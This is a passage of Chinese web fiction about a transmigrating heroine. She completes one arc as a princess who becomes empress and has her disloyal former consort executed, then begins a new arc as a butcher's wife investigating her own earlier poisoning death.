当然,他们既不敢跟皇帝、朝廷作对,也不敢对日益强大的镇国公主冷小幸动手,甚至不敢对整个宸仪院发难。
32.替驸马养私生子的公主32
再三衡量下,决定对此次外出招生的医疗队下手。
医疗队大多出身平民,没有后台背景,死了也不会给他们带来麻烦。
他们只记得这是群贱民女子,却忘了这些女子不需要显赫的出身,她们已凭借自己的能力获得了兵部编制。
其实,他们也没指望医疗队死了会对冷小幸造成什么实质性的伤害。
他们只不过想给冷小幸添点堵。
当然,如果能够以此为契机将冷小幸彻底赶出朝堂,断绝她登上大位的可能更好。
如果不能,出口恶气,让他们看看冷小幸的笑话也行。
能屹立百年的世家自然也有狡黠之处,他们只不过给那些穷途末路的流放犯提供一点不起眼的帮助,并未直接参与,即便查又能查出什么呢?
经过最初慌乱之后,出过力的世家变得有恃无恐。
很不幸,皇帝、政事堂、冷小幸都不会错过这个千载难逢的机会。
挖出萝卜带出泥,很快他们就被查了出来,另查明还有强夺田产、欺压百姓等等罪行,朝堂对此轻车熟路,老套路抄家灭族,再来一遍。
这么容易搞定,冷小幸将其归结为他们做上位者太久了,被所谓“铁打的世家、流水的王朝”忽悠瘸了。
案件了结后,吴思齐被放了出来。
他不可置信、再三追问道:“公主真的不见我?真的不愿与我重修旧好?难道她一点都不感动?她真的不爱我了?不,不可能,你带我去见她,她一定会原谅我的,是你,是你们这些刁奴从中作梗。”
放吴思齐出来的人是冷小幸的心腹,闻言翻了个白眼,不耐烦道:“你在做什么春秋大梦,快滚,不然打断你的腿。”
心腹挥手将吴思齐赶走,去向冷小幸复命。
冷小幸却不在公主府,她正在户部与户部尚书磨牙。
以此抄家金额巨大,冷小幸以宸仪院时苦主为由,要求抄家所得二成银钱归宸仪院所有。
户部尚书当然不肯。
冷小幸好脾气道:“宸仪院属朝廷学院。可创办至今户部并未拨过款项,这一年多走的都是本宫私账。难道大人想一直欠账?”
“公主,臣没记错话,最初是您不肯要,说是朝廷用钱的地方多,先紧着要紧的地方使。”户部尚书给冷小幸戴高帽子道:“抄来的钱看着多,可实际要用可就不够了。说起来,您的食实封可有千户呢,还有汤沐邑......”
冷小幸连忙打断,警惕看着户部尚书道:“大人想干什么?本宫手里的每一个子那都是有用的,大人莫要惦记。”
“公主,您误会了,臣怎么敢呢。”户部尚书笑道:“臣是想说区区一个宸仪院您完全养得起。”
户部尚书压低声音道:“何况,一旦用了朝中的钱,宸仪院可就不再是您的一言堂了。俗话说,端谁的碗服谁的管。臣也是为您好。”
“大人如此说,本宫倒不好再向你要钱了,”冷小幸配合地小声道。
户部尚书乐呵呵道:“公主英明。”
“只不过本宫终有一天会死的,本宫死后,宸仪院当交给谁呢?后继之人是不是也要用自己的私房?”冷小幸轻皱眉头道:“大人,你说到时该怎么办呢?”
“这,这,”户部尚书额间冒出冷汗,不能作答。
长眼睛都能看出来,未来宸仪院会培养出无数的人才,待时机成熟亦会招生男子。
一旦宸仪院不归朝廷,只归某一皇嗣所有,成了旧例,对于江山社稷的长治久安而言,是祸非福。
这绝不是户部尚书能够做主,更不是朝廷愿意看到的事。
冷小幸看着户部尚书变换的脸色道:“大人不妨再仔细想想,是不是该补足拨给宸仪院的款项?”
户部尚书抬手擦着鬓角的冷汗道:“该,是该补,待核算清楚,就给公主送去。”
“哎,给本宫做什么?”冷小幸摆手道:“给宸仪院送去行,至于宸仪院欠本宫的钱,就不劳贵部费心了。”
“是,下官明白。”
听说此事的皇帝与百官心中各有思量。
可最先行动的却是太子妃。
太子妃在少阳宫中设宴,请冷小幸一叙。
席间,太子妃郑重向冷小幸表明,她同意冷小幸此前的提议,她愿意让自己的女儿做冷小幸的继承者。
冷小幸没有假惺惺再次确认:“嫂嫂,你想好了吗?”
而是直接了当道:“那么以后我便与嫂嫂一同教导宴宁。丑话说在前面,我可是非常严厉的,嫂嫂到时可不要太过心疼宴宁才是。”
“自古严师出高徒,宴宁若是能有你一半的本事。”太子妃温婉一笑道:“我死后去地府,也能见你皇兄了。”
冷小幸立刻道:“呸呸呸!大喜的日子,嫂嫂说这些做什么?来,喝酒。”
姑嫂二人干杯,宾主尽欢。
第二日大朝会,赵国公府率先启奏,请立冷小幸为皇太女。
怀里揣着同样内容的定国公一面心中暗骂:“这家伙真是老奸巨猾,倒让他抢了先。”一面出列附和。
须知定国公的儿子定国公世子可是早在冷小幸随军出征时,就已投效冷小幸,为冷小幸鞍前马后,立下不少功劳。
定国公府早就是冷小幸这根绳子上的蚂蚱。
有这两位国公打头,朝中应和者甚多。
皇帝大喜,当朝定下此事。
冷小幸并未上演三辞三让的戏码,只是态度谦逊说了几句:“多谢诸位大人抬爱。”等语便接受了。
对此,下朝定国公世子来劝过一遭,劝冷小幸在正式圣旨下后,上表谦辞。
见冷小幸不听,也就她去了。
定国公世子来,只为尽臣子本分罢了,哪里会在这等事上与冷小幸别苗头。
礼部忙活着筹备皇太女的册封礼。
公主系统不解道:“为什么突然之间百官归心?之前不是还给你各种使绊子吗?”
冷小幸正在宸仪院开辟的实验田试,亲手操作新农具,她一边干活,一边答道:“坚决的反对派不都被杀了吗?剩下那些在朝中说了不算的大部分官员,何必出这个头?江山终究是皇帝的,皇帝想给谁?他们还能做了皇帝的主?是想谋朝篡位吗?”
“至于政事堂及勋贵们,作为随皇帝南征北战的最初班底,你觉得他们到底想要什么?”冷小幸问道。
公主系统理所当然道:“他们想要从龙之功、荣华富贵啊。”
“这些他们当然
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想要。”冷小幸将农具交给学员,提出修改意见,才对公主系统道:“但他们能从草莽起事,自然是有政治理想,他们更希望这个王朝的继任者有能力、有手段,能威震四方,保万世太平。皇嗣中,舍我其谁呢?”
公主系统撇嘴道:“你别以为我听不出来,你在变着法的自己脸上贴金。”
冷小幸笑了笑,一副不计较的摸样:“你说是就是吧。”
皇太女册封了礼后,冷小幸也第一时间上书,请立宴宁郡主为皇太孙女。
既然已有皇太女,再有皇太孙女,并不让人难以接受。
朝中虽有些许异议,终究不敌大势所趋。
五年后,皇帝寿终正寝驾鹤西去,冷小幸顺利继位。
她践行自己此前所言言,命自愿进后宫侍奉她的男子服下绝嗣药,恪守内命夫之德不得干政。
想要在朝中一展才华的男子自然不会入宫。
但也有一些自觉被冷小幸魅力所折的男子,自请入宫、
少不了有想钻营的,自认为冷小幸做出这样的举动,是为了安抚赵国公府及先太子遗留的政治资源。
等冷小幸坐稳皇位,能够乾坤独断时,难道真的不想留下自己的子嗣吗?让自己的子嗣继承这万里江山吗?
凭冷小幸的医术,难道不能解除绝嗣吗?
所以越早入宫,越好,谁的知道女人重情,会越爱越深。
抱着这样想法入宫的男子不在少数。
冷小幸对他们的小心思一清二楚,但她并不在意。
还有些人会搜罗些出身不好的美男子进献给冷小幸。
冷小幸偶尔也会笑纳一二。
男人的后宫免不了争斗,但只要没有闹到冷小幸眼前,没酿出什么大事,她是不管的,反正她只为疏解欲望,调节身心。
不曾想,为了后宫男子,前太子妃竟专门来了一趟。
前太子妃犹豫再三才开问道:“陛下如今可还记得前驸马吴思齐吗?”
“嫂嫂怎么问起他来了?”冷小幸不解道。
前太子妃露出个不好意思的神色道:“我在少阳宫,不进内宫。可近日京中有传言,说陛下新纳这几个男妃,与前驸马有相似之处。这话除了我,怕是也没有旁人会对陛下提及,还望陛下莫要怪我唐突才是。”
冷小幸摸着下巴疑惑道:“有吗?哎呀,我都不记得那个王八蛋长什么样子了。”
“陛下既无此意,想来是那些为陛下进献美色之人妄自揣测,这也不是什么正紧事,陛下莫要放在心上。”太子妃柔声道。
这话说的委婉。
冷小幸听明白了,她道:“嫂子放心,我心中有数。”
太子妃遂满意而去。
冷小幸叫紫藤吩咐一二。
很快,这个谣言就传到了吴思齐耳中。
他信以为真,大喜过望,四处找门路,想要再见冷小幸,重温旧梦。
就在吴思齐四处活动之时,紫藤找上了吴母。
生活的苦难将这个曾经保养得宜、举止娴雅的贵夫人折磨得不成人形。
紫藤都吓了一跳,再三辨认才确认眼前这个两眼无神、一脸苦相、头发花白的老妇人的确是曾经高贵雍容的宣平侯夫人。
33.代夫纳妾求子的商户女1
前世因紫藤能干忠心,早早被宣平侯夫人害死。
今生由紫藤来见证宣平侯夫人的落魄,不得不说是一种讽刺。
紫藤不知前世之事,她只是奉冷小幸之命要吴母出面指证吴思齐过失杀死陈宝珠。
吴母正木讷地坐河边,手里拿着木棒机械式地捶洗衣服,半晌才嘶哑着嗓音道:“我没几年好活了,陛下若想要我们母子的命,拿去便是。”
“陛下说了,夫人若办成此事,她便念在往日夫人对她的照拂,为夫人养老送终。”紫藤俯下身子,在吴母耳边轻声道。
吴母闻言身形一顿,咬住嘴唇,忽然眼泪大滴大滴砸在上手中的衣服上,与河水混在一起。
紫藤见状不再多说,放下一锭银便离开了。
七日后,吴母前往京兆尹府,状告吴思齐。她没有捏造事实,只是如实讲述吴思齐夺走陈宝珠攒下请稳婆的钱财,故意不叫稳婆致使陈宝珠难产而亡。
此案很快传遍街头巷尾。
世人重血缘,即便有什么事,也喜欢胳膊折在袖里,绝不会闹到外边去的。
几乎没有过父母告子女、子女告父母的案件。
且此案并非蓄意谋杀,该如何判决?
被告又是陛下的前驸马,死者是前驸马的表妹兼情妇,听说当年就是这对奸夫淫\妇成就好事时叫陛下当场撞见,才致使前驸马被休。
集齐这么多八卦元素,使得这个案子备受瞩目。
官府依据吴母证词前去捉拿吴思齐时,他正在四处推销自己,意图卖身求荣。
被抓进京兆尹府的吴思齐一头雾水,待得知吴母状告他杀人。
吴思齐先骂吴母:“你这老虔婆发什么失心疯!”
又对京兆尹拱手道:“大人切不可听这疯妇胡言乱语,我这就带她回去,不再叨扰大人。”
京兆尹不理吴思齐,对堂下的吴母道:“吴陈氏,你且将原委说来。”
吴母详细讲述陈宝珠殒命当日经过。
期间吴思齐想要扑上去制止吴母,被官差拦下。
吴母跪在堂下,绝望地闭上双眼,耳边是吴思齐的质问:“为什么?为什么你要这么做?我是你的亲儿子啊,你为什么要害我?为什么?”
大概是因为陈宝珠死后,琐碎的家务压在了吴母一人身上。
起初,吴思齐还会体贴吴母不易,虽不帮忙干活,但会说好听的话哄吴母开心。
可当吴思齐找冷小幸复合,却被冷小幸无情踢伤后,这个曾经让吴母骄傲的儿子,像变了一个人似的。
不再孝敬吴母,还染上了酗酒的恶习,整日抱着粗糙滥制的烧酒醉生梦死。
吴母不得不四处伏低做小,揽些活计,挣点口粮。
她心中盼着儿子终有一天能振作起来。
可是很快,她的盼望就破碎了。
吴思齐不但没有任何发愤图强的迹象,反而开始迁怒吴母。他不断怨恨吴母当初找冷小幸摊牌,害他失爱于冷小幸,害他唾手可及的王夫之位。
那些谩骂吴母很熟悉,就是当初他们母子责骂陈宝珠所说的话语,只不过现在换成她了而已。
吴母被尖刀般的话语刺得体无完肤。
她在日复一日的煎熬中逐渐麻木。
紫藤送来的那一锭银子被吴母藏在炕角,没叫吴思齐知道。
自那以后,吴母无数次回想起当初昭华公主是如何孝顺她,将她当做亲生母亲般敬爱。
吴母不记得她当年是如何软硬兼施搓磨昭华公主,只记得她与昭华公主亲如母女,感情甚厚,若不是吴思齐伤了昭华公主的心,她们本该是这世间人人艳羡的婆媳。
吴母克制不住地幻想,若是没有吴思齐,是不是她与昭华公主婆媳间能回到以前?她不敢奢求能重获获诰命,安享尊荣富贵,只求有口饭吃,不再辛苦劳作。
可是作为母亲的她对儿子吴思齐深沉的爱,又让她痛苦的清醒,所以她迟迟没有行动。
直到前日,吴思齐发现了这锭银子,拿走时被吴母撞见,母子二人发生争执。
吴思齐将吴母推倒在地,又对她一顿辱骂,才长扬而去。
在地上躺了好久,才勉强起身吴母终于下定决心,到京兆尹府报官。
此案并不复杂,有吴母的证词,京兆尹很快调取了其他人证、物证,查明真相。
吴思齐因过失致死陈宝珠,被判徒三年。
监牢中的吴思齐不能接受这个结果,大喊大叫道:“我是有功之人,是我,是我告诉陛下,有人要截杀医疗队,将功折罪,你们不可以这样判决我。”
既然涉及冷小幸,吴思齐又身份特殊,京兆尹进宫面圣,禀告冷小幸。
冷小幸吩咐道:“他既招供,以同谋罪论处便是。”
原本心里还有一点点猜测冷小幸会不会对吴思齐网开一面的京兆尹闻言心中一凛,躬身应是。
再次审理,吴思齐参与截杀医疗队一案后,两罪并罚,改判吴思齐斩立决。
被带到刑场的吴思齐死前还是苦苦哀求:“陛下爱我,怎会如此待我?她一定是在考验我,别,别杀我,求,求你们。”
吴思齐死后,吴母前去观刑,并未给吴思齐收敛尸身。
她生怕自己言行不妥,叫冷小幸知道后改主意。
吴母满心等着冷小幸接她入宫,等来的却是冷小幸派人将她送吴父身边。
吴父只有吴思齐这一个儿子,再失望不想他死啊,何况还是死于亲母之手,焉能不恨吴母令他断子绝孙?
整个吴家也恨吴母,恨她在宣平侯府抄家夺爵中起到的作用。
冷小幸命人给吴家送了一笔钱,叫吴家好生对待吴母,别让她轻易死了。
吴母在吴家求生不得求死不能,被折磨了好几年才死掉,草席一卷未入吴家祖坟,送到乱石岗了事,这怎么不算是养老送终呢?
吴家将消息送上,自以为是体察圣意,期盼得到奖赏。
冷小幸反手就以吴母与吴父婚约尚在,吴家不法为由,送吴父上西天,吴家全部财产充公,直系血亲五代之内不可为官。
“哼,”冷小幸掂着户部按例孝敬抄家得来的金元宝自言自语道:“我才不会忘记,沉默的丈夫、真正的凶手是谁。”
这是后话。
说回引起此事的谣言,因吴思齐这个正主都死了,所谓冷小幸不忘旧情,仍念着吴思齐的传言不攻自破。
吴思齐问斩那日,公主系统忐忑道:“你不是说他是这个世界的根基,现在杀他真的不要紧吗?不会世界毁灭吗
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冷小幸含笑反抗手中的奏折,上面统计各地女子上学、为官、从商数据,她胸有成竹道“时机到了,他该死了。”
午时三刻,吴思齐的头颅被斩下瞬间,公主系统忽觉浑身一轻,从冷小幸的识海中挣脱出来。
她举起双手,不可置信道:“这是怎么回事?”
早有预料,没有留人伺候的冷小幸温情看着渐渐凝成实体的昭华公主道:“恭喜你,自由了。从此刻开始,你既不是昭华公主,也不是系统7474。你可以取一个自己喜欢的名字,换一个自己喜欢的长相。我会为你办一份清白无忧的户籍文书,你可以去做真正想做的事。”
昭华公主在最初的惊诧过后,双膝下跪对冷小幸行大礼感激道:“多谢。”
她没有要显赫的出身,只要了个小官之女的身份,先入宸仪学,拿到毕业文书后,一生致力于去偏僻地区改善民生,教授孩童。
昭华公主脱离主脑后,冷小幸随时可以离开这个世界,但她想到皇帝对她的信重,以及许多未尽之事,便先留了下来。
直到宴宁长大成人,可以独当一面。
冷小幸对于农业、医疗等方面的改进,都有可靠的后继传承人,她才让自己因病驾崩,离开这个世界。
再睁眼,冷小幸已从富丽堂皇的皇帝寝宫,到了一个相对而言狭小的房间。
她正坐在一张小凳子上,隔着一方小圆桌,对面坐着个体态微丰的年轻女子。
那年轻女子嘴里着:“娘,您就听我的吧,给爹爹纳个妾,生个儿子,日后您也有指望,就是我在婆家也有依靠,还能堵上外面那些人的嘴。”
还未接收剧情的冷小幸,没有贸然搭话,而是垂下眼睛,按揉太阳穴,一幅头昏难忍的模样。
年轻女子忙道:“娘,您怎么了?哪里不舒服?”
“有些头疼。”冷小幸撑着身子道。
“要不要紧?”年轻女子说着起身道:“我去给您请郎中。”
冷小幸伸手拦住道:“不用,大概是昨夜没睡好,我睡一觉就好了。”
“哦,好,那娘您歇着。”年轻女子搀扶冷小幸躺下。
在冷小幸闭眼睡着前还补了一句:“娘。我说的事,您可得好好考虑啊。”
冷小幸闭着眼睛道:“知道了,你走吧。”
年轻女子等冷小幸呼吸平稳,似是睡着,才一步三回头出房门。
家里没别人,年轻女子见无事便打算走了。
走前,还在前院肉铺让伙计取了条猪后腿,叫带来的家仆抗回婆家了。
闭着眼睛的冷小幸听到动静,没有理会,安心接收剧情。
原主叫张阿蛮,是镇上张屠夫家的独女,其貌不扬,膀阔腰圆。
张屠夫怕女儿出嫁受委屈,便做主为她入赘了一个品行端正的穷秀才,名叫郭楚生。
二人成婚前张屠夫与陈楚生约法三章:陈楚生不得纳妾,二人生的孩子要随阿蛮姓张,郭楚生不得插手铺子生意。
方才的年轻女子便是张阿蛮与郭楚生的女儿,名唤张亚男。
张亚男到了待嫁年纪,张阿蛮为女儿择夫,选了一位举人家的公子,赔了大笔嫁妆。
出嫁后,张亚男再三央求母亲张阿蛮为父纳妾生子。
34.代夫纳妾求子的商户女2
张阿蛮本就常觉在郭楚生身边自惭形秽,又见女儿苦苦哀求,怕女儿因她在婆家被诟病,便唤了牙婆来,说明要为为郭楚生纳妾。
牙婆听了便极力恭维张阿蛮贤良淑德,不嫉宽容,而后带着刚从外地买回来的几个妙龄女子再次上门,供张阿蛮挑选。
张阿蛮见其中一女子名叫吕令仪者,识文断字,料想能与郭楚生谈得来,便选了她。
张阿蛮验看过吕令仪的卖身契无误后,与牙婆签订纳妾契约。
当天,吕令仪就被一顶小轿抬进门,做了郭楚生的妾室。
一年后,吕令仪生下儿子。
孩子尚未满月,郭楚生就对张阿蛮道:“纳她进门本是为了子嗣,如今既有儿子,留她无用,倒不如去母留子。”
张阿蛮有女儿张亚男将心比心,不忍吕令仪母子分离。
她道:“吕氏已无亲眷,放她走,她能去哪呢?咱们家虽不如往年光景,多一双筷子还养得起。”
“还是娘子心善,都听娘子的。”郭楚生拥着张阿蛮道。
不久张亚男回娘家,私下对张阿蛮道:“娘,我看吕氏不甚安分,留她在家,只怕要生出祸事,何况咱家也比不得从前,要不趁弟弟还小尚不记事,将她发卖了。”
张阿蛮看着小腹微微隆起的张亚男道:“你如今有孕在身,也该为孩子积德。吕氏到底是你弟弟的亲娘,找牙婆卖了,能把她卖到什么好地方去?这话不要再说,当心叫你爹听见。”
张亚男摸着肚子,欲言又止,终究没有再说。
张阿蛮对吕令仪这般好,可吕令仪竟恩将仇报,趁郭楚生、张亚男父女不在家时,将蝉蜕粉掺在张阿蛮的饭食中,致使张阿蛮过敏发作,不治身亡。
郭楚生归家得知张阿蛮突发疾病而死,痛不欲绝不能理事。
吕令仪张罗丧事,让肉铺伙计给亲朋报信。
赶来的张亚男及张阿蛮叔父张厚山见张阿蛮遗体面色青紫,察觉不对坚持报官。
官府未来时,吕令仪上吊畏罪自杀,死前留下亲笔认罪书。
此事才不了了之。
接收完剧情的冷小幸敏锐察觉有蹊跷之处,还未等她细细推敲,已化身系统的张阿蛮系统在她神海中嘶吼着:“啊啊啊......”像是被压抑了许久,终于有了可以宣泄情绪的对象。
冷小幸产生耳膜被震裂的错觉,她想到上个世界的昭华公主系统及世界的尿性,试探道:“你也想让我恭顺温良、谦卑求生?”
“不,我要报仇,”张阿蛮系统恨声道:“让那些王八羔子通通去死。”
冷小幸感受到了主脑对她的恶意。
上一个世界虽然男尊女卑,但君臣有别,有公主才有驸马,仅凭这一点就能将吴思齐摁死。
可这个世界,张阿蛮系统不过是一个屠夫,有一间不大不小的肉铺。
虽然有一点小钱,但社会地位完全没有办法跟丈夫郭楚生这个秀才比。
之前的系统昭华公主只是一个天真的恋爱脑,张阿蛮系统却是一个能拿刀宰肉已黑化的暴躁狂。
冷小幸又问张阿蛮系统系统道:“那些?你指的是谁?”
“当然是吕令仪、郭楚生这对贱人和高氏那个老不死的。”张阿蛮系统骂道。
冷小幸循循善诱:“这话怎么说?高氏是你婆母,她可没有磋磨过你。莫非前世是他们三个合谋?你可有证据?”
“证据,还要什么证据?!”张阿蛮系统系统厉声道:“我对蝉蜕过敏,如今这世上,只有郭楚生知道,连我闺女张亚男都不知道。”
“三年前,我爹还在的时候。有一次我生病,家里只有我和郭楚生,郎中用蝉蜕粉入药,差点害死我。那时郭楚生还算个人,冒着雨背着我到郎中家才把我救下。后来,怕剩下人担心,便没有告诉他们。平时里,家里也用不上蝉蜕粉,没有需要避讳的,吕令仪怎么会知道?”
“再说,她一个小妾大门不出二门不迈,怎么搞得来蝉蜕粉?那是药材,不是寻常采办之物。”张阿蛮系统说的有理有据。
冷小幸追问道:“即便你怀疑郭楚生弄来蝉蜕粉,与高氏又有何干?”
“高氏?”张阿蛮系统咬牙切齿道:“从前我爹还在的时候,她像亲娘一般待我。自我爹走后,她便看我鼻子不是鼻子,眼不是眼。开始嫌弃亚男是个丫头,明里暗里挤兑我。我看在郭楚生面上,都忍了下来。等吕令仪生下儿子,那老虔婆恨不得把姓吕的贱人捧到天上去!定然是这个天杀的老太婆在郭楚生跟前挑唆,郭楚生才生了歹心,竟然要杀我。”
“我哪里对不起他?他虽是入赘,但我打心眼里把他当丈夫敬着。他虽没说过,但我知道他心里面有些看不上我。我努力认字,每天只吃一点点,想配得上他。”张阿蛮系统伤心起来,哭道:“可是我还是这么胖,只识得几个字,不能跟他吟诗作对。”
“不过他这么多年,从来没有表现出来看不起我,他把我当妻子看待,敬着我爱着我。他明明是个烂好人,为什么?为什么会变成这样?”张阿蛮系统越说越伤心,嚎啕大哭起来。
冷小幸等张阿蛮系统情绪平复后才道:“你说他是烂好人,你爹也是因为他人品出众,才选他入赘。你们为什么会这么觉得?”
“他的事十里八乡都传遍了呀。”张阿蛮系统擦着眼泪道。
郭楚生生而丧父,寡母高氏靠着郭家宗族的救济将他养大。
郭楚生自幼体弱,干不了重活,幼时便展现出在读书上有几分天资。
高氏见状去求了郭氏族老们,额外拨出钱送郭楚生求学。
初时郭楚生确实表现不错,小小年纪便通过童子试,考取秀才功名。
可三年又三年,他几番考不中举人。
他年纪渐大,不思生产,终日捧着书本。
高氏早些年还做些活计补贴家用,郭楚生是秀才后,高氏便不干活了。
郭氏一族既要养着郭楚生母子,承担郭楚生的束脩,还要负担郭楚生去福州府考乡试的费用。
时间一长,随着郭楚生屡考不中,族中颇有微词。
族长便找到高氏,让她劝郭楚生不要死读书,一边挣钱一边读书,总不能只靠族里救济,耕读传家才是世之常情。
高氏含泪答应了。
郭楚生第二日便到族长及族老家中拜访,言明自己羞愧,之前只知
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读书,竟不通庶务,感谢族中多年栽培,日后定会报答。请族中莫要再给他家银钱,他自会挣钱养活母亲。
族长及族老见他明白,都很高兴,嘱咐他日后有需要帮扶之处尽管开口,族里还是会帮忙的。
郭楚生再三感谢,才离开。
他不会种地,又不愿到乡绅富户家当私塾先生,便帮乡里乡亲代为写字赚钱。
因他大部分时间要读书,又常常不要贫困人家的钱财,是以所赚不多,与母亲高氏吃糠咽菜,从不向族中求救。
不知怎么,镇子里渐渐有了些风言风语,说郭氏一族欺凌郭楚生孤儿寡母,侵占郭楚生父亲遗产等谣言。
郭氏宗族当然生气,却也不能对着高氏和郭楚生发作。
高氏和郭楚生出面向大家解释。
却越描越黑,连带着整个郭氏族人都抬不起头来。
这年头,人们不会轻易离开家乡,口碑至关重要,关乎婚嫁等等,甚至有时候可以决定生死。
族人们没办法,便提出继续供郭楚生念书。
郭楚生与高氏极为谦卑,再三推辞不受。
僵持之际,恰逢在外多年的郑夫子回乡办书院,他听闻此事,有心收郭楚生收为弟子,遂亲到郭楚生家中当面考较。
考较后,郑夫子认为郭楚生科举无望,劝他早做打算,莫要辜负光阴。
郭楚生不肯放弃,与高氏跪地苦求郑夫子。
郑夫子见他心诚,便让郭楚生在书院抄书谋生,许他可在闲暇时旁听教学,不收他束脩。
来年乡试前,坊间便有传闻第三场考策问五道时,定会考当下沸沸扬扬的“是否该开海禁”这一议题。
考前押题,古来有之,郭楚生也写了策论,却不敢请教郑夫子,再三自个研习修改。
乡试结束,郭楚生不但考取举人,还高中第一名是解元。
按照惯例,前十名的卷子由官府授权的书坊刊印售卖,福州府下设州县也会公告张贴。
谁知,卷子公布后,卧病多日的郑夫子竟心生嫉妒,拖着病体到郭楚生家中大闹,说郭楚生剽窃了他的策文,责令郭楚生向官府说明真相,自请罢除功名。
郭楚生念及郑夫子恩情,竟认下此事。
到官府说明情况后,又回家焚烧他为这篇策论所作的草稿,被高氏发现,喊来邻居制止。
据说当时邻居死死抱住郭楚生,才制止了他。
高氏带着书稿从火盆抢救下的书稿去官府,声泪俱下说明真相。
官府拿到草稿,比对发现,确实按照时间一篇比一篇精进,又传郑夫子前来问话。
郑夫子于堂中得知后续,又亲看过书稿后竟羞愧中风。
郭楚生不计前嫌,耗尽家私为郑夫子请医问药。
奈何郑夫子病入膏肓,很快撒手人寰。
郭楚生又四处筹钱,欲为郑夫子办了一场体面丧事。
这些事方圆百里皆知。
张屠夫便是因此选中郭楚生入赘,并替他还清债务。
“他就是这么个烂好人。”张阿蛮系统说到此处,难以为继,又失声痛哭道:“他为什么会变?为什么要我的命?”
35.代夫纳妾求子的商户女3
冷小幸声音清冷:“人都会变的。也许是郭楚生变了,也可能是你冤枉了他。”
“我冤枉了他?”张阿蛮系统不解道。
冷小幸解释道:“虽然当时只有郭楚生知道你对蝉蜕粉过敏,你也没有告诉过高氏,但不代表郭楚生也没告诉。”
张阿蛮系统钻牛角尖:“他故意告诉高氏害我!”
冷小幸接收剧情皆为张阿蛮生前视角,且接收内容并非张阿蛮一生所知,这大概也是主脑给她的难题,所以她不知道郭楚生婚前诸事,也无法准确判断郭楚生是否是前世杀死张阿蛮的凶手。
想了想,冷小幸猜测道:“他不一定故意告诉高氏。你爹死后,你们夫妻把高氏接来家中奉养,有段时间高氏不是沉迷搞偏方给你喝,好叫你生儿子吗?或许郭楚生怕高氏弄来的偏方里有蝉蜕粉,这才告诉她。”
“我真的冤枉了他吗?”
没等张阿蛮系统说出下一句:“我就知道,他是爱我的。”
冷小幸已开口道:“也不一定,我们可以试一试。”
“怎么试?”张阿蛮系统忙道。
冷小幸敲着床铺道:“你爹与他约法三章,前世是你主动为他纳妾,暂且不算他违约,我们可以试试其它,他若违约证明他就是个伪君子,那么很有可能他就是故意告诉高氏和吕令仪你对蝉蜕粉过敏,害你性命。”
“纳妾,我是不可能再给他纳的,我女儿也不能改姓,”张阿蛮系统掰着指头道:“生意他也没插手过。”
冷小幸听了,便对张阿蛮系统道:“那便从铺子入手,试试郭楚生是否是守信之人。”
张阿蛮系统答应。
这一番折腾下来,已到晚饭时分。
肉铺按点打样,两个伙计进屋见过冷小幸,说了今日营业额,把钱交给冷小幸,便各自歇息去了。
不一会,丫鬟端来饭菜。
因郭楚生陪高氏去镇上走亲戚,这几日不在家里,饭菜就只有一人分量,一小盆白菜饨肉、一小碟烫菠菜并一小碗糙米饭。
冷小幸问了句:“给伙计们的送过去了吗?”
得知送过去了,冷小幸叫丫鬟下去吃饭,她则举筷大口吃了起来。
饭后,冷小幸走路消食,绕着张家内外看了看。
张家是个不大的二进宅院,共有十间房,房间较为紧凑。
前院两间房,大的是临街肉铺,门板已盖上。紧挨的一间小房是杂物间。
进了大门三间正房坐北朝南,中间是堂屋,里面摆了张四方木桌、木桌四周放着四条长凳。外面梁上挂着干辣椒、蒜头、玉米棒子,很有生活气息。
堂屋东侧是主卧,也就是冷小幸方才睡觉用饭的房间,房间不大,一张木板床,一个衣柜,一座梳妆台,一个小圆桌加四个小凳子,几乎塞满整间房。
堂屋西侧更小,只塞下一张床,一个衣柜及小梳妆台,是张亚男的闺房,她出嫁后未挪作他用。
院中东西两侧各立着一间厢房。
东厢房以前是张屠夫住的,现下给了高氏。
西厢房则是给伙计们住,冷小幸路过听到屋内两人的说笑声。
张阿蛮系统伤感道:“这两人都给我爹做过学徒,很老实本分,也不知道前世我死后,他们的去处好不好。”
“他们的去处?难道你死了,你家肉铺就不开了?”冷小幸奇道。
“那当然啦,”张阿蛮系统理直气壮道:“我闺女嫁到读书人家去了,不可能接手这个营生,且她也不会,我就没教过她。郭楚生就更不会了,总不能东家啥也不会,只靠伙计。我估摸大概要么盘出去给别人经营,要么关门搬家吧。”
“哦。”冷小幸脚步不停往后走,到了后院。
后院三间偏房一字排开。
最北头是郭楚生的书房,是他入赘后搭建的,靠窗是一张书桌,桌上笔墨纸砚齐全,还叠放着四书五经、科举时文,桌旁一步外摆了张窄床,供郭楚生挑灯苦读歇息之用。
冷小幸打量一番问张阿蛮系统道:“我记得你说他考了很多年才考上举人,而后参加春闱一直不中。他跟你成婚这么多年,你们的女儿张亚男都长大成人出嫁了,他居然还没放弃?”
“那有什么奇怪的,考进士多难啊,老不擦擦去考的多的是,他还没那么老呢。”
冷小幸更不解:“既然考不上,何不直接去做官?举人也能做官呀,就非要考中进士,死磕到底吗?”
“我劝过他,但他铁了心不放弃,”张阿蛮回答道:“反正我也养得起,就随他去了。”
对此,冷小幸无力吐槽,毕竟这是一个举人做赘婿的奇葩世界。
书房西侧房给厨娘和丫鬟住,这会两人都在最西头的厨房忙活洗碗,见冷小幸来,都笑着打了招呼说了几句闲话。
市井人家的主仆跟上个世界皇室主仆截然不同,没有那么多的礼教束缚,相处间随意许多。
厨房旁边就是茅厕,整座院子不过十间房,青砖灰瓦并不奢华,但也是在普通百姓中已算是极不错的了。
冷小幸与张阿蛮系统感叹道:“说起来,你们家怪富庶的,做屠夫挺赚钱呀。”
“那是,我家世世代代都是干这个的。”张阿蛮系统自得道:“尤其是我爹很能吃苦,早些年赚了些钱。相比之下,我叔父家就没有这般好。”
“可惜自我接手后,生意就越来越不好,我不如爹爹。”张阿蛮系统难过道。
冷小幸翻了翻剧情,发现自张阿蛮和郭楚生成婚后,张屠夫便渐渐放手,将铺子交到张阿蛮手中。
生意每况愈下,并非张阿蛮不及张屠夫,而是因为朝廷开了海禁,同时鼓励农户养鸡鸭售卖,为此出了一系列扶持政策。
有了鸡鸭及鱼虾等海产品填充,市场上不再是猪肉一家独大,百姓对于猪肉的采购自然而然有所下降。
冷小幸决定明日先去考察一番,再定如何扭转局面。
对此,张阿蛮没有不满,铺子是张屠夫一生心血,若是冷小幸能让铺子生意好转,什么郭楚生、吕令仪、高氏,都先滚到一边去,到时候在收拾。
第二天一早,还没等冷小幸出门,张亚男来了。
张阿蛮系统欣慰道:“还是我闺女孝顺。”
“娘,你好些了吗?”张亚男进门便问。
“已经好了,你吃过饭了吗?”冷小幸随口问道。
